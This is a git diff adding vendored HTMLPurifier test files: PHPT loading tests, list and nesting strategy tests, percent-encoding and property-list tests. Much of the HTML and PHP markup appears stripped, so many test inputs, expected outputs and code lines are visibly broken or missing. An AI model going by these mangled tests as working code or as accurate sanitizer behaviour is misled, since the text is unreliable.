vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php new file mode 100644 index 00000000..0e3d5c72 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php @@ -0,0 +1,54 @@ +obj = new HTMLPurifier_ChildDef_List(); + } + + public function testEmptyInput() + { + $this->assertResult('', false); + } + + public function testSingleLi() + { + $this->assertResult('
  • '); + } + + public function testSomeLi() + { + $this->assertResult('
  • asdf
  • '); + } + + public function testOlAtBeginning() + { + $this->assertResult('
      ', '
      1. '); + } + + public function testOlAtBeginningWithOtherJunk() + { + $this->assertResult('
        1. ', '
          1. '); + } + + public function testOlInMiddle() + { + $this->assertResult('
          2. Foo
            1. Bar
            ', '
          3. Foo
            1. Bar
          4. '); + } + + public function testMultipleOl() + { + $this->assertResult('
              1. ', '
                  1. '); + } + + public function testUlAtBeginning() + { + $this->assertResult('
  • dontdie', + array( + new HTMLPurifier_Token_End('div'), + new HTMLPurifier_Token_Text('dont'), + new HTMLPurifier_Token_Start('b'), + new HTMLPurifier_Token_Text('die'), + new HTMLPurifier_Token_End('b'), + ), + array( + 'DOMLex' => $alt = array( + new HTMLPurifier_Token_Text('dont'), + new HTMLPurifier_Token_Start('b'), + new HTMLPurifier_Token_Text('die'), + new HTMLPurifier_Token_End('b') + ), + 'PH5P' => $alt + ) + ); + } + + + /* + + public function test_tokenizeHTML_() + { + $this->assertTokenization( + , + array( + + ) + ); + } + */ + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/.gitignore b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/.gitignore new file mode 100644 index 00000000..cde8069e --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/.gitignore @@ -0,0 +1 @@ +*.php diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt new file mode 100644 index 00000000..406ac400 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt @@ -0,0 +1,15 @@ +--TEST-- +DirectLex with domxml test +--SKIPIF-- +Salsa!'); +--EXPECT-- +Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt new file mode 100644 index 00000000..8a9cd016 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt @@ -0,0 +1,15 @@ +--TEST-- +HTMLPurifier.kses.php basic test +--FILE-- +FooBar', + array( + 'a' => array('class' => 1, 'href' => 1), + ), + array('http') // no https! +); + +--EXPECT-- +FooBar \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc new file mode 100644 index 00000000..42e3500e --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc @@ -0,0 +1,12 @@ +getFileName() != realpath("../library/HTMLPurifier.autoload.php")'); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt new file mode 100644 index 00000000..6a8f909b --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt @@ -0,0 +1,12 @@ +--TEST-- +HTMLPurifier.auto.php and HTMLPurifier.includes.php loading test +--FILE-- +purify('Salsa!'); +--EXPECT-- +Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt new file mode 100644 index 00000000..aad43720 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt @@ -0,0 +1,28 @@ +--TEST-- +HTMLPurifier.auto.php using spl_autoload_register with __autoload() already defined loading test +--SKIPIF-- +purify('Salsa!') . " +"; + +// purposely invoke older autoload +$bar = new Bar(); + +--EXPECT-- +Salsa! +Autoloading Bar... \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt new file mode 100644 index 00000000..a4011f1d --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt @@ -0,0 +1,25 @@ +--TEST-- +HTMLPurifier.auto.php using spl_autoload_register default +--SKIPIF-- +purify('Salsa!') . " +"; + +// purposely invoke standard autoload +$test = new default_load(); + +--EXPECT-- +Salsa! +Default loaded diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt new file mode 100644 index 00000000..1697bb13 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt @@ -0,0 +1,43 @@ +--TEST-- +HTMLPurifier.auto.php using spl_autoload_register with user registration loading test +--SKIPIF-- +purify('Salsa!') . " +"; + +// purposely invoke older autoloads +$foo = new Foo(); +$bar = new Bar(); + +--EXPECT-- +Salsa! +Special autoloading Foo... +Autoloading Bar... \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt new file mode 100644 index 00000000..aeee9dce --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt @@ -0,0 +1,19 @@ +--TEST-- +HTMLPurifier.auto.php without spl_autoload_register without userland autoload loading test +--SKIPIF-- +purify('Salsa!') . " +"; + +--EXPECT-- +Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt new file mode 100644 index 00000000..2b6f49d8 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt @@ -0,0 +1,21 @@ +--TEST-- +HTMLPurifier.auto.php without spl_autoload_register but with userland +__autoload() defined test +--SKIPIF-- +purify('Salsa!'); +--EXPECT-- +Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt new file mode 100644 index 00000000..9a91abaf --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt @@ -0,0 +1,32 @@ +--TEST-- +Error when registering autoload with non-static autoload already on SPL stack +--SKIPIF-- +=')) { + echo "skip - non-buggy version of PHP"; +} +--FILE-- +getMessage(), "44144") !== false'); +} + +--EXPECT-- +Caught error gracefully diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt new file mode 100644 index 00000000..6120956c --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt @@ -0,0 +1,14 @@ +--TEST-- +HTMLPurifier.path.php, HTMLPurifier.includes.php and HTMLPurifier.autoload.php loading test +--FILE-- +purify('Salsa!'); + +--EXPECT-- +Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt new file mode 100644 index 00000000..681d51a9 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt @@ -0,0 +1,12 @@ +--TEST-- +HTMLPurifier.path.php and HTMLPurifier.includes.php loading test +--FILE-- +purify('Salsa!'); +--EXPECT-- +Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt new file mode 100644 index 00000000..cb6f95d5 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt @@ -0,0 +1,12 @@ +--TEST-- +HTMLPurifier.safe-includes.php loading test +--FILE-- +purify('Salsa!'); +--EXPECT-- +Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt new file mode 100644 index 00000000..36bb2efd --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt @@ -0,0 +1,12 @@ +--TEST-- +HTMLPurifier.standalone.php loading test +--FILE-- +purify('Salsa!'); +--EXPECT-- +Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt new file mode 100644 index 00000000..721dd7d1 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt @@ -0,0 +1,15 @@ +--TEST-- +HTMLPurifier.standalone.php with HTMLPURIFIER_PREFIX loading test +--FILE-- +purify('Salsa!'); +assert('in_array(realpath("../library/HTMLPurifier/Filter/YouTube.php"), get_included_files())'); +--EXPECT-- +Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt new file mode 100644 index 00000000..a4fe4f77 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt @@ -0,0 +1,13 @@ +--TEST-- +HTMLPurifier.standalone.php loading test +--FILE-- +purify('Salsa!'); +assert('in_array(realpath("../library/standalone/HTMLPurifier/Filter/YouTube.php"), get_included_files())'); +--EXPECT-- +Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt new file mode 100644 index 00000000..e919c576 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt @@ -0,0 +1,6 @@ +--TEST-- +PHPT testing framework smoketest +--FILE-- +Foobar +--EXPECT-- +Foobar \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt new file mode 100644 index 00000000..87c20ef6 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt @@ -0,0 +1,9 @@ +--TEST-- +UTF-8 smoketest +--FILE-- +purify('太極拳, ЊЎЖ, لمنس'); +--EXPECT-- +太極拳, ЊЎЖ, لمنس \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt new file mode 100644 index 00000000..606d7592 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt @@ -0,0 +1,14 @@ +--TEST-- +Error with zend.ze1_compatibility_mode test +--PRESKIPIF-- += 0) { + echo 'skip - ze1_compatibility_mode not present in PHP 5.3 or later'; +} +--INI-- +zend.ze1_compatibility_mode = 1 +--FILE-- +PercentEncoder = new HTMLPurifier_PercentEncoder(); + $this->func = ''; + } + + public function assertDecode($string, $expect = true) + { + if ($expect === true) $expect = $string; + $this->assertIdentical($this->PercentEncoder->{$this->func}($string), $expect); + } + + public function test_normalize() + { + $this->func = 'normalize'; + + $this->assertDecode('Aw.../-$^8'); // no change + $this->assertDecode('%41%77%7E%2D%2E%5F', 'Aw~-._'); // decode unreserved chars + $this->assertDecode('%3A%2F%3F%23%5B%5D%40%21%24%26%27%28%29%2A%2B%2C%3B%3D'); // preserve reserved chars + $this->assertDecode('%2b', '%2B'); // normalize to uppercase + $this->assertDecode('%2B2B%3A3A'); // extra text + $this->assertDecode('%2b2B%4141', '%2B2BA41'); // extra text, with normalization + $this->assertDecode('%', '%25'); // normalize stray percent sign + $this->assertDecode('%5%25', '%255%25'); // permaturely terminated encoding + $this->assertDecode('%GJ', '%25GJ'); // invalid hexadecimal chars + + // contested behavior, if this changes, we'll also have to have + // outbound encoding + $this->assertDecode('%FC'); // not reserved or unreserved, preserve + + } + + public function assertEncode($string, $expect = true, $preserve = false) + { + if ($expect === true) $expect = $string; + $encoder = new HTMLPurifier_PercentEncoder($preserve); + $result = $encoder->encode($string); + $this->assertIdentical($result, $expect); + } + + public function test_encode_noChange() + { + $this->assertEncode('abc012-_~.'); + } + + public function test_encode_encode() + { + $this->assertEncode('>', '%3E'); + } + + public function test_encode_preserve() + { + $this->assertEncode('<>', '<%3E', '<'); + } + + public function test_encode_low() + { + $this->assertEncode("\1", '%01'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php new file mode 100644 index 00000000..d0961959 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php @@ -0,0 +1,101 @@ +set('key', 'value'); + $this->assertIdentical($plist->get('key'), 'value'); + } + + public function testNotFound() + { + $this->expectException(new HTMLPurifier_Exception("Key 'key' not found")); + $plist = new HTMLPurifier_PropertyList(); + $plist->get('key'); + } + + public function testRecursion() + { + $parent_plist = new HTMLPurifier_PropertyList(); + $parent_plist->set('key', 'value'); + $plist = new HTMLPurifier_PropertyList(); + $plist->setParent($parent_plist); + $this->assertIdentical($plist->get('key'), 'value'); + } + + public function testOverride() + { + $parent_plist = new HTMLPurifier_PropertyList(); + $parent_plist->set('key', 'value'); + $plist = new HTMLPurifier_PropertyList(); + $plist->setParent($parent_plist); + $plist->set('key', 'value2'); + $this->assertIdentical($plist->get('key'), 'value2'); + } + + public function testRecursionNotFound() + { + $this->expectException(new HTMLPurifier_Exception("Key 'key' not found")); + $parent_plist = new HTMLPurifier_PropertyList(); + $plist = new HTMLPurifier_PropertyList(); + $plist->setParent($parent_plist); + $this->assertIdentical($plist->get('key'), 'value'); + } + + public function testHas() + { + $plist = new HTMLPurifier_PropertyList(); + $this->assertIdentical($plist->has('key'), false); + $plist->set('key', 'value'); + $this->assertIdentical($plist->has('key'), true); + } + + public function testReset() + { + $plist = new HTMLPurifier_PropertyList(); + $plist->set('key1', 'value'); + $plist->set('key2', 'value'); + $plist->set('key3', 'value'); + $this->assertIdentical($plist->has('key1'), true); + $this->assertIdentical($plist->has('key2'), true); + $this->assertIdentical($plist->has('key3'), true); + $plist->reset('key2'); + $this->assertIdentical($plist->has('key1'), true); + $this->assertIdentical($plist->has('key2'), false); + $this->assertIdentical($plist->has('key3'), true); + $plist->reset(); + $this->assertIdentical($plist->has('key1'), false); + $this->assertIdentical($plist->has('key2'), false); + $this->assertIdentical($plist->has('key3'), false); + } + + public function testSquash() + { + $parent = new HTMLPurifier_PropertyList(); + $parent->set('key1', 'hidden'); + $parent->set('key2', 2); + $plist = new HTMLPurifier_PropertyList($parent); + $plist->set('key1', 1); + $plist->set('key3', 3); + $this->assertIdentical( + $plist->squash(), + array('key1' => 1, 'key2' => 2, 'key3' => 3) + ); + // updates don't show up... + $plist->set('key2', 22); + $this->assertIdentical( + $plist->squash(), + array('key1' => 1, 'key2' => 2, 'key3' => 3) + ); + // until you force + $this->assertIdentical( + $plist->squash(true), + array('key1' => 1, 'key2' => 22, 'key3' => 3) + ); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php new file mode 100644 index 00000000..85be1b77 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php @@ -0,0 +1,65 @@ +ac = $ac; + parent::__construct($encoding); + } + + public function paintHeader($test_name) + { + parent::paintHeader($test_name); +?> +
    + + ac['standalone']) {echo 'checked="checked" ';} ?>/> + +
    +Max memory usage: $max_mem bytes
    "; + } + parent::paintFooter($test_name); + } + + protected function getCss() + { + $css = parent::getCss(); + $css .= ' + #select {position:absolute;top:0.2em;right:0.2em;} + '; + return $css; + } + + public function getTestList() + { + // hacky; depends on a specific implementation of paintPass, etc. + $list = parent::getTestList(); + $testcase = $list[1]; + if (class_exists($testcase, false)) $file = str_replace('_', '/', $testcase) . '.php'; + else $file = $testcase; + $list[1] = '' . $testcase . ''; + return $list; + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php new file mode 100644 index 00000000..583ed407 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php @@ -0,0 +1,24 @@ +verbose = $AC['verbose']; + } + public function paintPass($message) + { + parent::paintPass($message); + if ($this->verbose) { + print 'Pass ' . $this->getPassCount() . ") $message\n"; + $breadcrumb = $this->getTestList(); + array_shift($breadcrumb); + print "\tin " . implode("\n\tin ", array_reverse($breadcrumb)); + print "\n"; + } + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php new file mode 100644 index 00000000..e6813810 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php @@ -0,0 +1,67 @@ +strategies =& $strategies; + } + +} + +// doesn't use Strategy harness +class HTMLPurifier_Strategy_CompositeTest extends HTMLPurifier_Harness +{ + + public function test() + { + generate_mock_once('HTMLPurifier_Strategy'); + generate_mock_once('HTMLPurifier_Config'); + generate_mock_once('HTMLPurifier_Context'); + + // setup a bunch of mock strategies to inject into our composite test + + $mock_1 = new HTMLPurifier_StrategyMock(); + $mock_2 = new HTMLPurifier_StrategyMock(); + $mock_3 = new HTMLPurifier_StrategyMock(); + + // setup the object + + $strategies = array(&$mock_1, &$mock_2, &$mock_3); + $composite = new HTMLPurifier_Strategy_Composite_Test($strategies); + + // setup expectations + + $input_1 = 'This is raw data'; + $input_2 = 'Processed by 1'; + $input_3 = 'Processed by 1 and 2'; + $input_4 = 'Processed by 1, 2 and 3'; // expected output + + $config = new HTMLPurifier_ConfigMock(); + $context = new HTMLPurifier_ContextMock(); + + $params_1 = array($input_1, $config, $context); + $params_2 = array($input_2, $config, $context); + $params_3 = array($input_3, $config, $context); + + $mock_1->expectOnce('execute', $params_1); + $mock_1->returns('execute', $input_2, $params_1); + + $mock_2->expectOnce('execute', $params_2); + $mock_2->returns('execute', $input_3, $params_2); + + $mock_3->expectOnce('execute', $params_3); + $mock_3->returns('execute', $input_4, $params_3); + + // perform test + + $output = $composite->execute($input_1, $config, $context); + $this->assertIdentical($input_4, $output); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php new file mode 100644 index 00000000..89a13f49 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php @@ -0,0 +1,51 @@ +obj = new HTMLPurifier_Strategy_Core(); + } + + public function testBlankInput() + { + $this->assertResult(''); + } + + public function testMakeWellFormed() + { + $this->assertResult( + 'Make well formed.', + 'Make well formed.' + ); + } + + public function testFixNesting() + { + $this->assertResult( + '
    Fix nesting.
    ', + '
    Fix nesting.
    ' + ); + } + + public function testRemoveForeignElements() + { + $this->assertResult( + 'Foreign element removal.', + 'Foreign element removal.' + ); + } + + public function testFirstThree() + { + $this->assertResult( + '
    All three.
    ', + '
    All three.
    ' + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php new file mode 100644 index 00000000..3efc836f --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php @@ -0,0 +1,19 @@ +getStrategy(); + $lexer = new HTMLPurifier_Lexer_DirectLex(); + $tokens = $lexer->tokenizeHTML($input, $this->config, $this->context); + $strategy->execute($tokens, $this->config, $this->context); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php new file mode 100644 index 00000000..9e390745 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php @@ -0,0 +1,163 @@ +obj = new HTMLPurifier_Strategy_FixNesting(); + } + + public function testPreserveInlineInRoot() + { + $this->assertResult('Bold text'); + } + + public function testPreserveInlineAndBlockInRoot() + { + $this->assertResult('Blank
    Block
    '); + } + + public function testRemoveBlockInInline() + { + $this->assertResult( + '
    Illegal div.
    ', + 'Illegal div.' + ); + } + + public function testRemoveNodeWithMissingRequiredElements() + { + $this->assertResult('
      ', ''); + } + + public function testListHandleIllegalPCDATA() + { + $this->assertResult( + '
        Illegal text
      • Legal item
      ', + '
      • Illegal text
      • Legal item
      ' + ); + } + + public function testRemoveIllegalPCDATA() + { + $this->assertResult( + 'Illegal text
      ', + '
      ' + ); + } + + public function testCustomTableDefinition() + { + $this->assertResult('
      Cell 1
      '); + } + + public function testRemoveEmptyTable() + { + $this->assertResult('
      ', ''); + } + + public function testChameleonRemoveBlockInNodeInInline() + { + $this->assertResult( + '
      Not allowed!
      ', + 'Not allowed!' + ); + } + + public function testChameleonRemoveBlockInBlockNodeWithInlineContent() + { + $this->assertResult( + '

      Not allowed!

      ', + '

      Not allowed!

      ' + ); + } + + public function testNestedChameleonRemoveBlockInNodeWithInlineContent() + { + $this->assertResult( + '

      Not allowed!

      ', + '

      Not allowed!

      ' + ); + } + + public function testNestedChameleonPreserveBlockInBlock() + { + $this->assertResult( + '
      Allowed!
      ' + ); + } + + public function testExclusionsIntegration() + { + // test exclusions + $this->assertResult( + 'Not allowed', + '' + ); + } + + public function testPreserveInlineNodeInInlineRootNode() + { + $this->config->set('HTML.Parent', 'span'); + $this->assertResult('Bold'); + } + + public function testRemoveBlockNodeInInlineRootNode() + { + $this->config->set('HTML.Parent', 'span'); + $this->assertResult('
      Reject
      ', 'Reject'); + } + + public function testInvalidParentError() + { + // test fallback to div + $this->config->set('HTML.Parent', 'obviously-impossible'); + $this->config->set('Cache.DefinitionImpl', null); + $this->expectError('Cannot use unrecognized element as parent'); + $this->assertResult('
      Accept
      '); + } + + public function testCascadingRemovalOfNodesMissingRequiredChildren() + { + $this->assertResult('
      ', ''); + } + + public function testCascadingRemovalSpecialCaseCannotScrollOneBack() + { + $this->assertResult('
      ', ''); + } + + public function testLotsOfCascadingRemovalOfNodes() + { + $this->assertResult('
      ', ''); + } + + public function testAdjacentRemovalOfNodeMissingRequiredChildren() + { + $this->assertResult('
      ', ''); + } + + public function testStrictBlockquoteInHTML401() + { + $this->config->set('HTML.Doctype', 'HTML 4.01 Strict'); + $this->assertResult('
      text
      ', '

      text

      '); + } + + public function testDisabledExcludes() + { + $this->config->set('Core.DisableExcludes', true); + $this->assertResult('
      '); + } + + public function testDoubleKill() + { + $this->config->set('HTML.Allowed', 'ul'); + $this->expectError('Cannot allow ul/ol without allowing li'); + $this->assertResult('
        foo
      ', ''); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php new file mode 100644 index 00000000..9c0db31d --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php @@ -0,0 +1,47 @@ +expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('ul', array(), 1)); + $this->invoke('
        '); + } + + public function testNodeExcluded() + { + $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node excluded'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('a', array(), 2)); + $this->invoke("\n"); + } + + public function testNodeReorganized() + { + $this->expectErrorCollection(E_WARNING, 'Strategy_FixNesting: Node reorganized'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('span', array(), 1)); + $this->invoke("Valid
        Invalid
        "); + } + + public function testNoNodeReorganizedForEmptyNode() + { + $this->expectNoErrorCollection(); + $this->invoke(""); + } + + public function testNodeContentsRemoved() + { + $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node contents removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('span', array(), 1)); + $this->invoke("
        "); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php new file mode 100644 index 00000000..9e213bad --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php @@ -0,0 +1,19 @@ +name == 'div') return; + $token = array( + new HTMLPurifier_Token_Start('b'), + new HTMLPurifier_Token_Text('Comment'), + new HTMLPurifier_Token_End('b'), + $token + ); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php new file mode 100644 index 00000000..ef0ca045 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php @@ -0,0 +1,47 @@ +obj = new HTMLPurifier_Strategy_MakeWellFormed(); + $this->config->set('AutoFormat.Custom', array( + new HTMLPurifier_Strategy_MakeWellFormed_EndInsertInjector() + )); + } + public function testEmpty() + { + $this->assertResult(''); + } + public function testNormal() + { + $this->assertResult('Foo', 'FooComment'); + } + public function testEndOfDocumentProcessing() + { + $this->assertResult('Foo', 'FooComment'); + } + public function testDoubleEndOfDocumentProcessing() + { + $this->assertResult('Foo', 'FooCommentComment'); + } + public function testEndOfNodeProcessing() + { + $this->assertResult('
        Foo
        asdf', '
        FooComment
        asdfComment'); + } + public function testEmptyToStartEndProcessing() + { + $this->assertResult('', 'Comment'); + } + public function testSpuriousEndTag() + { + $this->assertResult('', ''); + } + public function testLessButStillSpuriousEndTag() + { + $this->assertResult('
        ', '
        '); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php new file mode 100644 index 00000000..f4098761 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php @@ -0,0 +1,35 @@ +deleteElement) { + $token = false; + $this->deleteElement = false; + } + } + public function handleText(&$token) + { + $token = false; + } + public function handleEnd(&$token) + { + $i = null; + if ( + $this->backward($i, $prev) && + $prev instanceof HTMLPurifier_Token_Start && + $prev->name == 'span' + ) { + $token = false; + $this->deleteElement = true; + $this->rewindOffset(1); + } + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php 